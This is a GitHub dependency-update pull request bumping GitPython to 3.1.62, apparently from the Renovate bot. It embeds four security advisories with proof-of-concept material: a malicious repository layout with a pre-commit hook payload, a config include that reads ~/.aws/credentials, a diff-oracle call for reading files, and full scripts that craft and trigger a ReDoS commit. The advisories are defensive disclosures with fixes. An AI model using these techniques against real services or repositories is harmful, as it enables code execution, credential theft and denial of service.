Skip to content

chore(deps): update dependency gitpython to v3.1.62 [security] - #5722

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-gitpython-vulnerability
Open

chore(deps): update dependency gitpython to v3.1.62 [security]#5722
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-gitpython-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Oct 1, 2026 •
edited
Loading

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
GitPython ==3.1.59 → ==3.1.62 age confidence

GitPython: Repository content can impersonate the git directory, leading to arbitrary code execution

CVE-2026-87817 / GHSA-239g-whfq-7xj9

More information

Details

Summary

Repo.__init__ decides which directory is the git directory by testing candidate paths in an order that
considers the real .git last. Two earlier tests can be satisfied by ordinary tracked files. Git
reserves only the literal name .git, so HEAD, objects/, refs/, config, gitdir, commondir
and hooks/ at a repository root are all legal tracked content.

Consequently, after a victim opens or clones an attacker's repository, GitPython resolves git_dir to
the working-tree root while real git correctly resolves <root>/.git. Everything GitPython then
treats as "inside the git directory" is attacker-authored content — including hooks/, which it
executes.

CVE-2026-87817
Affected code (3.1.59)

The discovery loop in git/repo/base.py tests, in order:

  1. git/repo/base.py:299 — isfile(curpath/gitdir) and isfile(curpath/commondir) and isfile(curpath/HEAD)
  2. git/repo/base.py:320 — is_git_dir(curpath)
  3. git/repo/base.py:341 — dotgit = osp.join(curpath, ".git") ← the real git dir, considered last

is_git_dir (git/repo/fun.py:60) requires only that objects/ and refs/ are directories and that
HEAD is a file; HEAD's contents are never parsed. The hook path is resolved from
index.repo.git_dir (git/index/fun.py:73), i.e. the mis-resolved directory.

Proof of concept

Requires only pip install GitPython==3.1.59. Full script attached as poc1_rce.py; it runs entirely
in a temp directory and the payload only writes a marker file.

Attacker repository — four ordinary tracked files at the root:

path mode content
gitdir 100644 .git\n
commondir 100644 .git\n
HEAD 100644 ref: refs/heads/master\n
hooks/pre-commit 100755 #!/bin/sh + payload

Victim — two ordinary calls:

repo = git.Repo.clone_from(url, dst)     # or git.Repo(dst)
repo.index.commit("automated commit")    # code execution happens here

Observed on the PyPI release 3.1.59 (Linux and Windows):

real git says the git dir is : /tmp/.../victim/.git
GitPython says it is         : /tmp/.../victim      <- shadowed
attacker's hook executed     : True
git fsck                     : (clean)

The pre-commit hook runs at git/index/base.py:1201, before write_tree(), so it fires even though
the commit later fails.

Impact

A service that opens or clones an untrusted repository with GitPython — a CI runner building a fork
pull request, a code-scanning/SBOM service, a mirror, a dependency bot, an AI code-review/agent tool —
can be made to:

  1. Execute arbitrary commands via the tracked <root>/hooks/pre-commit when the victim calls
    index.commit().
  2. Read files outside the repository: the tracked <root>/config becomes the repository config and
    is parsed with merge_includes=True (git/repo/base.py:765), so [include] path = ~/.aws/credentials
    discloses the file. (Repo._config_reader still defaults merge_includes=True, so the hardening
    added in 3.1.59 for .gitmodules/GHSA-7833 does not cover this path.)
  3. Write a config file to an attacker-chosen directory via an absolute tracked commondir.

Delivery is silent: git clone exits 0, git fsck (including --strict, and with
transfer.fsckObjects/fetch.fsckObjects=true) reports nothing, and the clone passes every read-only
probe (head.commit, branches, is_dirty(), untracked_files, iter_commits) because a tracked
commondir of .git pins common_dir to the real .git.

Threat model / preconditions
  • Attacker controls the content of a repository the victim opens or clones with GitPython (public repo,
    fork PR, mirrored dependency).
  • For code execution, the victim performs a commit via GitPython's native index.commit(). For the
    file-read impact, opening the repo and reading config is enough.
  • GIT_WORK_TREE is not a mitigation — git_dir is assigned and the discovery loop breaks before
    the environment is consulted.
  • Real git is unaffected; only GitPython mis-resolves the directory.
Remediation
  1. Test curpath/.git before the gitdir/commondir/HEAD triple and before is_git_dir(curpath).
  2. Resolve hook_path / _commit_hook_path / _get_validated_reflog_path through repo.common_dir.
  3. Containment-check commondir/gitdir contents before joining (reuse
    SymbolicReference._get_validated_path).
  4. Validate HEAD in is_git_dir (require ref: refs/... or a 40-hex sha).
  5. Pass merge_includes=False in Repo._config_reader (git/repo/base.py:765).
Note for the maintainers

Commit 406b98e1 (2026-05-31, "respect core.hooksPath for commit hooks") resolved the hook path via
git rev-parse --git-path, which is immune because git rediscovers the true .git. Commit 9bc287a2
(2026-07-20) reverted it to avoid an unconditional rev-parse dependency — reintroducing the exec step.
Measured at each commit with the healthy-looking layout: 406b98e1 → hook did not fire; 9bc287a2 …
3.1.59 → hook fired.

Scope note

Only the repository-root case is reported: where a real .git exists, git prefers it, and GitPython
does not. A fake git dir in a subdirectory fools real git too, so that variant is out of scope as a
general ecosystem hazard rather than a GitPython defect.

###POC Files :
poc1_rce.py
poc2_file_read.py

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

GitPython: --no-index bypasses diff unsafe-option protections and enables a blind local-file content oracle

GHSA-whh4-5q6c-9v3x

More information

Details

Summary

GitPython 3.1.59 blocks a previously available local-file read path through unsafe git diff options such as -O/--orderfile.

However, the high-level diff API still permits --no-index with the default allow_unsafe_options=False.

--no-index changes the semantics of the paths arguments: instead of repository-relative pathspecs, Git interprets them as arbitrary filesystem paths.

When combined with the still-allowed -I/--ignore-matching-lines option, this creates a content-dependent Boolean oracle over a caller-selected local file.

This was reproduced against the published GitPython 3.1.59 wheel.

The original unsafe-option path is blocked in 3.1.59, while this alternate path remains reachable without setting allow_unsafe_options=True.

Details

Confirmed API surface:

repo.index.diff(
None,
no_index=True,
I=pattern,
paths=[baseline_path, target_path],
create_patch=True,
)

The relevant behavior is:

  1. --no-index makes the two values supplied via paths filesystem operands rather than repository pathspecs.
  2. -I/--ignore-matching-lines makes Git's result depend on whether the supplied regular expression matches the relevant file content.
  3. GitPython exposes the resulting bit through distinguishable behavior:
    • matching condition: normal return with an empty DiffIndex
    • non-matching condition: GitCommandError with exit status 1

An application that forwards attacker-influenced diff options and paths and exposes the success/error distinction can therefore be queried repeatedly to recover a guessable local single-line secret.

The issue was confirmed with the default allow_unsafe_options=False.

The behavior does not require the caller to explicitly opt into GitPython's unsafe-option mode.

Verified intended security boundary:

  • GitPython 3.1.58 accepts the earlier -O/--orderfile local-file input path.
  • GitPython 3.1.59 rejects that same path with UnsafeOptionError.
  • GitPython 3.1.59 still permits the --no-index alternate path described above.

This appears to be an alternate route to the same local-file confidentiality property that the 3.1.59 diff option hardening is intended to protect.

PoC

A minimal reproducer, controlled extraction demonstrator, proof matrix, and proposed remediation are included in the attached package.

gitpython-3159-maintainer-evidence.zip

The minimal reproducer creates only temporary researcher-controlled files and demonstrates the following predicate:

correct prefix -> normal GitPython return
incorrect prefix -> GitCommandError(status=1)

In the controlled extraction test, I generated three independent random single-line values and recovered all three exactly through repeated calls to the GitPython high-level API.

Result: 3/3 recovered.

The extraction harness also installs a Python audit hook that rejects direct Python open() access to the target file during the oracle phase. The content-dependent read is therefore performed by the child git process invoked through GitPython rather than by the reproduction script directly.

Controls were also tested:

  • normal repository-scoped diff: no secret disclosure
  • same outside paths without --no-index: no arbitrary-filesystem interpretation
  • deliberately incorrect predicate: status 1 as expected

Suggested remediation is to classify --no-index as unsafe for the high-level diff API unless the caller explicitly sets allow_unsafe_options=True.

Impact

Potential impact is disclosure of local files readable by the process running GitPython.

Exploitation requires an embedding application to allow an attacker to influence:

  1. the relevant diff options,
  2. both path operands, and
  3. repeated requests while exposing a distinguishable success/error result.

The demonstrated attack is a blind content oracle rather than a one-request in-band file read. It is particularly applicable to short or structured single-line secrets where the target path and approximate value format are known or guessable.

Confirmed affected release: GitPython 3.1.59.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

GitPython: Denial of Service via catastrophic backtracking (ReDoS) in Actor.name_email_regex — commit author/committer field parsing

CVE-2026-87819 / GHSA-g5vv-9gxw-82hx

More information

Details

Summary

GitPython's Actor.name_email_regex regular expression (git/util.py, line 863)
is vulnerable to catastrophic backtracking (ReDoS — Regular Expression Denial of
Service). When GitPython parses the author or committer header of a git commit
object that contains a long string with an unterminated < (no matching >), the
Python regex engine enters quadratic backtracking, causing complete single-threaded
CPU exhaustion proportional to the square of the input length.

A single crafted commit object can block any GitPython API call that reads
.author or .committer for over two minutes per invocation, enabling denial
of service against CI runners, code-hosting backends, repository-scanning
pipelines, or any service that processes commits from third-party or untrusted
repositories.

Details

Vulnerable file and line:

git/util.py, line 863:

name_email_regex = re.compile(r"(.*) <(.*?)>")

This regex is evaluated inside Actor._from_string() (line 909) every time
GitPython resolves a commit's .author or .committer property.

Full call chain — from public API to vulnerable sink:

commit.author # any ordinary GitPython API call
└── git/objects/commit.py:917
Commit._deserialize()
└── git/objects/util.py:341
parse_actor_and_date(author_line)
└── git/util.py:909
Actor._from_string(string)
└── Actor.name_email_regex.search(string) ← VULNERABLE

author_line is decoded directly from the raw bytes of the git commit object with
no length limit, character restriction, or timeout applied at any point before
reaching the regex engine. The same chain is triggered by:

  • commit.author
  • commit.committer
  • repo.iter_commits()
  • repo.blame()
  • Any web service / CI tool that displays or processes commit metadata

Why this pattern backtracks catastrophically:

The pattern (.*) <(.*?)> contains an unbounded greedy group (.*) followed by
a literal space and <. When the input is a long string that contains < but no
closing >, the regex engine must try every possible split position for the greedy
group — O(n²) candidate positions for a string of length n — each of which then
drives the inner lazy group into further sub-match attempts. This is the
well-documented "catastrophic backtracking" failure mode for this family of
patterns.

Empirically measured scaling (tested against GitPython 3.1.59, commit 52a6cba):

Author field length (bytes) Time to resolve .author
1,000 0.0035 s
5,000 0.084 s
10,000 0.341 s
20,000 1.525 s
40,000 5.963 s
60,000 13.360 s
80,000 23.871 s
200,000 150.488 s

Each doubling of input size roughly quadruples processing time (e.g. 40,000 →
80,000 bytes: 5.96 s → 23.87 s ≈ 4.0×), confirming O(n²) growth. Git itself
imposes no practical size limit on author name fields in the object format.

How the malicious object reaches a victim:

The PoC creates the commit object as a correctly SHA-1-hashed, zlib-compressed git
loose object written directly into .git/objects/. git cat-file -t <sha> confirms
it is a valid commit type and git's own read-side tools display it without error.
Only git's write-side tooling (git commit --author, git update-index,
explicit git fsck) applies the sanity checks that would reject a malformed author
line. Delivery paths that bypass those checks include:

  • A git server with receive.fsckObjects = false (common in self-hosted deployments)
  • A .git directory shipped as a tarball, backup, or zip archive
  • A git bundle file
  • Any automated mirror or import tool that operates at the object level
PoC

Environment used for testing:

  • GitPython 3.1.59, installed in editable mode from source (no code modifications)
  • Python 3.12.3, git 2.43.0, Ubuntu 24.04

Script 1 — craft the malicious repository (craft_malicious_repo.py):

#!/usr/bin/env python3
"""
Creates a git repository with one commit whose 'author' field is a large
string containing an unterminated '<'. Bypasses git's write-side sanity
checks by writing the raw object directly into .git/objects/.

Usage: python3 craft_malicious_repo.py <target_dir> <payload_size_bytes>
"""
import hashlib, os, subprocess, sys, zlib

def run(cmd, cwd):
    return subprocess.run(cmd, cwd=cwd, check=True, capture_output=True, text=True)

def main():
    if len(sys.argv) != 3:
        print(f"usage: {sys.argv[0]} <target_dir> <payload_size_bytes>")
        sys.exit(1)

    target_dir, payload_size = sys.argv[1], int(sys.argv[2])

    os.makedirs(target_dir, exist_ok=True)
    run(["git", "init", "--quiet"], cwd=target_dir)
    run(["git", "config", "user.email", "poc@example.com"], cwd=target_dir)
    run(["git", "config", "user.name", "PoC"], cwd=target_dir)

    with open(os.path.join(target_dir, "README.txt"), "w") as f:
        f.write("GitPython ReDoS PoC repository\n")
    run(["git", "add", "README.txt"], cwd=target_dir)
    tree_sha = run(["git", "write-tree"], cwd=target_dir).stdout.strip()

    malicious_name = "A" * payload_size
    # Key: author field contains a '<' with no closing '>'
    author_line    = f"author {malicious_name} <unterminated 1691999972 -0700"
    committer_line = "committer PoC <poc@example.com> 1691999972 -0700"
    message        = "ReDoS PoC commit"

    commit_content = (
        f"tree {tree_sha}\n{author_line}\n{committer_line}\n\n{message}\n"
    ).encode()

    header     = f"commit {len(commit_content)}\x00".encode()
    store      = header + commit_content
    sha        = hashlib.sha1(store).hexdigest()
    compressed = zlib.compress(store)

    objdir = os.path.join(target_dir, ".git", "objects", sha[:2])
    os.makedirs(objdir, exist_ok=True)
    with open(os.path.join(objdir, sha[2:]), "wb") as f:
        f.write(compressed)

    run(["git", "update-ref", "refs/heads/master", sha], cwd=target_dir)

    print(f"Malicious commit sha : {sha}")
    print(f"Payload size         : {payload_size} bytes")
    verify = subprocess.run(
        ["git", "cat-file", "-t", sha],
        cwd=target_dir, capture_output=True, text=True
    )
    print(f"git cat-file -t confirms: {verify.stdout.strip()}")

if __name__ == "__main__":
    main()

Script 2 — trigger the vulnerability (trigger_redos.py):

#!/usr/bin/env python3
"""
Opens the repository with GitPython and times commit.author access,
which triggers Actor._from_string() -> Actor.name_email_regex.search().

Usage: python3 trigger_redos.py <repo_dir> <commit_sha>
"""
import sys, time, git

def main():
    if len(sys.argv) != 3:
        print(f"usage: {sys.argv[0]} <repo_dir> <commit_sha>")
        sys.exit(1)

    repo   = git.Repo(sys.argv[1])
    commit = repo.commit(sys.argv[2])

    print("Accessing commit.author — triggers Actor._from_string()...")
    t0     = time.time()
    author = commit.author          # ← this single line causes the hang
    elapsed = time.time() - t0

    print(f"Author name length : {len(author.name)} chars")
    print(f"Elapsed            : {elapsed:.3f} seconds")
    print("RESULT: VULNERABLE" if elapsed > 5 else "RESULT: not triggered")

if __name__ == "__main__":
    main()

Execution and observed output:

$ python3 craft_malicious_repo.py /tmp/victim-repo 200000
Malicious commit sha : 2450fbd5ab5ebfff430dab183d25678df9fd20de
Payload size : 200000 bytes
git cat-file -t confirms: commit

$ python3 trigger_redos.py /tmp/victim-repo 2450fbd5ab5ebfff430dab183d25678df9fd20de
Accessing commit.author — triggers Actor._from_string()...
Author name length : 200014 chars
Elapsed : 150.488 seconds
RESULT: VULNERABLE

Docker reproduction (fully isolated environment):

docker run --rm -it -v ~/gitpython-poc:/work -w /work python:3.8-bookworm bash

##### Inside the container:
apt-get update && apt-get install -y git
git clone --depth 1 https://github.com/gitpython-developers/GitPython.git /work/GitPython
pip install -e /work/GitPython

python3 /work/poc/craft_malicious_repo.py /work/victim-repo 200000

##### note the SHA printed, then:
python3 /work/poc/trigger_redos.py /work/victim-repo <SHA>

The python:3.8-bookworm base image matches the one used in GitPython's own
fuzzing/local-dev-helpers/Dockerfile.

Impact

Who is affected:

Any application that uses GitPython to parse commits from a source it does not
fully control. High-risk deployments include:

  • CI/CD systems (Jenkins, GitLab CI, GitHub Actions self-hosted runners, etc.)
    that clone and inspect third-party pull requests — one malicious commit in a PR
    can stall every worker that processes it.
  • Code-hosting or code-review web services that render commit author information
    — a single crafted push blocks every page render or API response that touches that
    commit's metadata.
  • Security or compliance scanners that walk repository history across many
    repositories — one crafted object in any repository exhausts a scanner worker.

Severity of impact:

A 200 KB author field blocks a process for ~150 seconds per single .author
access. When iter_commits() or blame are used, every commit in a history
traversal can be independently crafted, multiplying the total hang time by the
number of commits processed. There is no confidentiality or integrity impact —
this is a pure availability / resource-exhaustion vulnerability.

Suggested Fix

Replace the vulnerable pattern with one that cannot backtrack catastrophically.
The minimal, behavior-preserving fix is to exclude < and > from the name
group, removing the ambiguity that forces O(n²) backtracking:

##### git/util.py, line 863
##### Before (vulnerable):
name_email_regex = re.compile(r"(.*) <(.*?)>")

##### After (fixed — identical output for all well-formed input):
name_email_regex = re.compile(r"([^<>]*) <([^<>]*)>")

Because the name group can no longer itself contain a < character, the engine
has exactly one candidate position to try when a closing > is absent — and fails
in O(n) time instead of O(n²). Legitimate actor strings (Name <email>) never
contain < or > in either field, so this change produces identical results for
all valid input.

As defense in depth, independently of the regex fix, bounding the maximum number
of characters GitPython will attempt to parse in an author/committer line (e.g.
rejecting strings longer than 4096 bytes before passing them to any regex) would
further limit the blast radius of any future ReDoS class in this parser.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

GitPython submodule update path traversal can write outside the repository

GHSA-59cr-6r3x-644w

More information

Details

Affected: GitPython 3.1.61 (latest release) and main — git/objects/submodule/base.py. git diff 3.1.61 origin/main -- git/objects/submodule/ is empty, so both are identical here.

The gap

The fix for GHSA-hmq2-w58f-27jc added Submodule._validated_name() and wired it into update() and five siblings, closing the .gitmodules name → .git/modules/<name> traversal. The other attacker-controlled .gitmodules field, path, is read raw:

##### git/objects/submodule/base.py:172-177
def _set_cache_(self, attr):
    if attr in ("path", "_url", "_branch_path"):
        reader = self.config_reader()
        self.path = reader.get("path")          # raw .gitmodules value

and GitPython's own containment guard is applied in only two of the places that consume it:

400: def _to_relative_path(cls, parent_repo, path)      # the guard (abspath + commonpath containment)
542:     path = cls._to_relative_path(repo, path)        # add()   — guarded
1041:    module_checkout_path = self._to_relative_path(self.repo, module_path)   # move() — guarded

update() validates only the name and then uses the path-derived absolute location directly:

788:  self._validated_name(self.name)                    # NAME only
801:  checkout_module_abspath = self.abspath             # derived from self.path — unguarded
821:  os.makedirs(checkout_module_abspath, exist_ok=True)

So path = ../../../tmp/escaped in an attacker-authored .gitmodules selects the directory that gets created and, on the clone path, populated from the submodule URL. The same absolute location is what force_remove hands to shutil.rmtree.

The asymmetry is the argument: this is not a missing concept — the project wrote _to_relative_path() precisely for this, and add()/move() use it. update() does not.

Honest limits (please read before rating)
  • The most common flow is not affected. Repo.clone_from(...) → repo.submodules → sm.update(init=True) re-derives path from a canonical tree lookup, and real git refuses to check out a tree containing a .. component, so an evil .gitmodules never lands in the working tree in the first place. A reachable trigger therefore requires the victim's code to name a non-HEAD commit (a historical-commit API such as submodule_update(previous_commit=...)).
  • The researcher did not build that end-to-end trigger. The researcher only verified first-hand the code above: the guard's two call sites, the name-only validation in update(), and the unguarded abspath → os.makedirs() flow at 3.1.61 == main.
Suggested fix

Apply the guard the project already has, wherever the path is consumed:

##### in update(), before deriving abspath (and in any other consumer of self.path):
checkout_rel = self._to_relative_path(self.repo, self.path)   # raises if it escapes the working tree

Better still, validate at the boundary: reject a .gitmodules entry whose path is absolute or contains a .. component when the section is first read in _set_cache_()/iter_items(), so no consumer can be added later without the check. A regression test with path = ../escaped alongside the existing name test would pin both fields.

Prior art checked

GHSA-hmq2-w58f-27jc (this is a residual of its fix, in the sibling field, not a re-report) plus the repository's 30 published advisories — none mentions the path field or _to_relative_path. Searched issues and PRs for _to_relative_path, gitmodules path and submodule traversal: no report of this.

Credit

kta1kri.

Appendix — EVIDENCE_gitpython_path_unguarded_20260901.txt (inlined; advisories accept no attachments)
=== EVIDENCE: GitPython — the .gitmodules 'path' field reaches os.makedirs()/clone unguarded ===
Mon Aug 31 18:45:22 UTC 2026

--- artifact: tag 3.1.61 (latest release); git diff 3.1.61 origin/main -- git/objects/submodule/ is empty ---

--- the containment guard GitPython owns, and its only two call sites ---
33:    _to_relative_path,
400:    def _to_relative_path(cls, parent_repo: "Repo", path: PathLike) -> PathLike:
407:            path = _to_relative_path(parent_repo.working_tree_dir, path)
542:        path = cls._to_relative_path(repo, path)
1041:        module_checkout_path = self._to_relative_path(self.repo, module_path)

--- the parent fix (_validated_name) call sites: it validates the NAME ---
309:    def _validated_name(cls, name: str) -> str:
321:        name = cls._validated_name(name)
541:        cls._validated_name(name)
788:            self._validated_name(self.name)
1040:        self._validated_name(self.name)
1181:        self._validated_name(self.name)
1439:        self._validated_name(self.name)
1440:        self._validated_name(new_name)
1489:        self._validated_name(self.name)

--- update(): name validated, path not; abspath -> os.makedirs ---

        try:
            self._validated_name(self.name)

            # ENSURE REPO IS PRESENT AND UP-TO-DATE
                # END early abort if init is not allowed

                checkout_module_abspath = self.abspath
                module_abspath = self._module_abspath(self.repo, self.path, self.name)

                # ``git submodule deinit`` leaves the repository in
                # ``.git/modules`` and empties the checkout. Reconnect that retained
                # repository instead of trying to clone over it.
                if not dry_run and osp.isdir(module_abspath):
                    try:
                        git.Repo(module_abspath)
                    except InvalidGitRepositoryError:
                        pass
                    else:
                        if osp.lexists(checkout_module_abspath) and (
                            osp.islink(checkout_module_abspath)
                            or not osp.isdir(checkout_module_abspath)
                            or os.listdir(checkout_module_abspath)
                        ):
                            raise OSError(
                                "Module directory at %r does already exist and is non-empty" % checkout_module_abspath
                            )
                        os.makedirs(checkout_module_abspath, exist_ok=True)
                        self._write_git_file_and_module_config(checkout_module_abspath, module_abspath)
                        mrepo = git.Repo(checkout_module_abspath)

--- where self.path comes from (raw .gitmodules value) ---
    def _set_cache_(self, attr: str) -> None:
        if attr in ("path", "_url", "_branch_path"):
            reader: SectionConstraint = self.config_reader()
            # Default submodule values.
            try:
                self.path = reader.get("path")
            except cp.NoSectionError as e:

Severity

  • CVSS Score: 6.1 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

gitpython-developers/GitPython (GitPython)

v3.1.62

Compare Source

What's Changed

New Contributors

Full Changelog: gitpython-developers/GitPython@3.1.61...3.1.62

v3.1.61

Compare Source

Fix accidental removal of exploitable regex in Actor by bringing it back, and deprecating it.

What's Changed
New Contributors

Full Changelog: gitpython-developers/GitPython@3.1.60...3.1.61

v3.1.60: Security

Compare Source

What's Changed

Full Changelog: gitpython-developers/GitPython@3.1.59...3.1.60

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate
renovate Bot requested a review from a team as a code owner October 1, 2026 21:19
@renovate renovate Bot added dependencies Pull requests that update a dependency file Skip Changelog PRs that do not require a CHANGELOG.md entry labels Oct 1, 2026
@opentelemetry-pr-dashboard opentelemetry-pr-dashboard Bot mentioned this pull request Oct 1, 2026
Open
@opentelemetry-pr-dashboard

opentelemetry-pr-dashboard Bot commented Oct 1, 2026 •
edited
Loading

Copy link
Copy Markdown

Pull request dashboard status

Waiting on reviewers · refreshed 2026-10-04 00:26 UTC

Review the latest changes.

Status above doesn't look right?
  • Just replied or pushed? Anything around or after the refresh time above may not be picked up yet — give it a few minutes.
  • Anything look wrong? Report it with what you expected; it helps us improve the dashboard.

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

No reviews

Assignees

No one assigned

Labels

dependencies Pull requests that update a dependency file Skip Changelog PRs that do not require a CHANGELOG.md entry

Projects

Python PR digest
Status: No status

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

0 participants